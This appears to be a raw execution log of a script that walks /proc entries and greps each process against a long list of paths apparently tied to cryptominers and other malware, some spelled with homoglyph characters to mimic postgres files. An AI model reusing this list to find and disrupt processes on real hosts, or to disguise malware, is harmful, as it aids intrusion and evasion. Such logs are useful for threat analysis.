[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/167]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/168]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/169]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/17]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/170]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/171]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/172]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/173]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/174]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/175]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/176]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/177]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/179]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/18]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/19]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/2]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/20]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/204]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/205]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/21]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/22]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/23]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/24]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/242]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/25]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/26]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/27]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/270]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/28]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/29]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/3]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/30]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/307]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/31]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/311]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/32]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/34]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/35]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/36]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/4]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/406]

/bin/grep

